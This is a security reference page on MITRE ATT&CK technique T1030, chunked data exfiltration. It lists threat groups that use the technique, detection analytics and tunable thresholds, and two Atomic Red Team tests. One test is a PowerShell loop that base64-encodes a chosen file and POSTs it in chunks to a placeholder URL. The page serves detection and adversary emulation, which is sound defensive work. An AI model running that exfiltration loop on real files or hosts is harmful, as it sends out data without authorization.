tfMITRE ATT&CK technique

Data Transfer Size Limits T1030

Tactic: Exfiltration
Platforms: Linux, macOS, Windows, ESXi
Version: 1.1
Created: 31 May 2017
Last modified: 24 October 2025

An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groups73rd pct

Threat groups73rd percentile · 73% of ATT&CK techniques have this many threat groups attributed or fewer.

CampaignsTop 17%

Campaigns83rd percentile · 83% of ATT&CK techniques have this many campaigns recorded or fewer.

Tools & malwareTop 22%

Tools & malware78th percentile · 78% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rules64th pct

Detection rules64th percentile · 64% of ATT&CK techniques have this many detection rules written or fewer.

Data Transfer Size Limits MITRE reference T1030

73rd pctamong all ATT&CK techniques for number of groups

5 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

PlayG1040 ↗

Has split victims' files into chunks for exfiltration.1 2

created 2024-09-242 references

LuminousMothG1014 ↗

Has split archived files into multiple parts to bypass a 5MB limit.1

created 2023-02-231 reference

APT41G0096 ↗

Transfers post-exploitation files dividing the payload into fixed-size chunks to evade detection.1

created 2019-09-231 referenceaka Wicked Panda

Threat Group-3390G0027 ↗

Actors have split RAR files for exfiltration into parts.1

created 2017-05-311 referenceaka Earth Smilodon

APT28G0007 ↗

Has split archived exfiltration files into chunks smaller than 1MB.1

created 2017-05-311 referenceaka IRON TWILIGHT

All 5 groups for this technique

Offense vs defense T1030

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 2Sigma rules (cumulative) · 2Splunk ESCU (cumulative) · 3

first rule: 2020 Q4 · 2 of 2 campaigns plotted

Data Transfer Size Limits detection strategy DET0213

MITRE names one behaviour worth catching for this technique and breaks it into 3 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detection Strategy for Data Transfer Size Limits and Chunked Exfiltration

Enterprise

3 platforms

AN0596 · Windows

Adversary uses a process to establish outbound connections that transmit uniform packet sizes at a consistent interval, avoiding threshold-based network alerts.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Network Traffic FlowDC0078	NSM:Flow	NetFlow/sFlow/PCAP
Network Connection CreationDC0082	WinEventLog:Sysmon	EventCode=3, 22

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
PacketSizeThreshold	Minimum repetitive size in bytes to consider as anomalous behavior (e.g., 512B or 1024B)
IntervalRepeatWindow	Timeframe over which repeated, evenly spaced transfers are flagged
KnownServicePorts	Common ports expected to exhibit protocol behavior; outliers flagged if not matching expected usage

AN0597 · Linux

Outbound connections from non-network-facing processes repeatedly send similarly sized payloads within uniform time intervals.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Network Traffic FlowDC0078	NSM:Flow	Outbound Network Flow
Network Connection CreationDC0082	auditd:SYSCALL	connect/sendto

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ProcessNetworkBaseline	Whitelist of typical binaries expected to generate outbound connections (e.g., wget, curl)
PayloadLengthVariance	Deviation threshold to consider data 'fixed size' (e.g., ±5% size delta)
RepeatFrequencyThreshold	Number of observed transfers per minute/hour that signals anomalous repetition

AN0598 · macOS

Processes on macOS initiate external connections that consistently transmit data in fixed sizes using LaunchAgents or unexpected users.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Network Traffic FlowDC0078	macos:unifiedlog	com.apple.network
Network Connection CreationDC0082	macos:endpointsecurity	ES_EVENT_TYPE_NOTIFY_CONNECT

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
LaunchdJobContext	Agent context in which transfer occurs (e.g., user/privileged)
TransferSizeMedian	Used to define what constitutes 'fixed size' chunks
TransferProtocolOutlier	Detect if protocol usage deviates from common apps for given destination

Tests2Executorssh 1 · PowerShell 1Need elevation0 of 2Have prerequisites1Have cleanup1Platformsmacos, linux, windows

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

Data Transfer Size Limits

macos, linux

—

Yes

Take a file/directory, split it into 5Mb chunks

Input arguments

Name	Type	Default	Description
file_name	path	T1030_urandom	File name
folder_path	path	/tmp/T1030	Path where the test creates artifacts

Attack command

cd #{folder_path}; split -b 5000000 #{file_name}
ls -l #{folder_path}

Cleanup command

if [ -f #{folder_path}/safe_to_delete ]; then rm -rf #{folder_path}; fi;

Prerequisite

The file must exist for the test to run.

Check

if [ ! -f #{folder_path}/#{file_name} ]; then exit 1; else exit 0; fi;

Satisfy

if [ ! -d #{folder_path} ]; then mkdir -p #{folder_path}; touch #{folder_path}/safe_to_delete; fi; dd if=/dev/urandom of=#{folder_path}/#{file_name} bs=25000000 count=1

GUIDbed0919d-a80e-4571-9744-86d33fc1fa44

Network-Based Data Transfer in Small Chunks

windows

PowerShell

—

Simulate transferring data over a network in small chunks to evade detection.

Input arguments

Name	Type	Default	Description
chunk_size	integer	1024	Size of each data chunk (in KB).
destination_url	url	http://example.com	URL of the destination server.
source_file_path	path	[User specified]	Path to the source file to transfer.

Attack command

$file = [System.IO.File]::OpenRead(#{source_file_path})
$chunkSize = #{chunk_size} * 1KB
$buffer = New-Object Byte[] $chunkSize

while ($bytesRead = $file.Read($buffer, 0, $buffer.Length)) {
    $encodedChunk = [Convert]::ToBase64String($buffer, 0, $bytesRead)
    Invoke-WebRequest -Uri #{destination_url} -Method Post -Body $encodedChunk
}
$file.Close()

GUID8f5af354-0ac2-4b33-8334-9788414b0c10

Tests from Atomic Red Team (MIT licence) · technique definition

Data Transfer Size Limits detections T1030

5 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

64th pctamong all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs